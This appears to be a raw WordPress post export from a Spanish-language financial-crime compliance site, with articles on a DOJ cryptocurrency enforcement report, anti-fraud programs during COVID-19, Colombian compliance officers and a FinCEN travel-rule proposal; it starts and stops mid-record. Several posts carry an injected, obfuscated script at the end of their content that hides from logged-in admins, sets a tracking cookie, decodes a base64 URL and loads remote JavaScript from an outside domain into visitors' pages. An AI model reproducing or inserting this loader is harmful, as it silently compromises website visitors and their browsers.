key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La 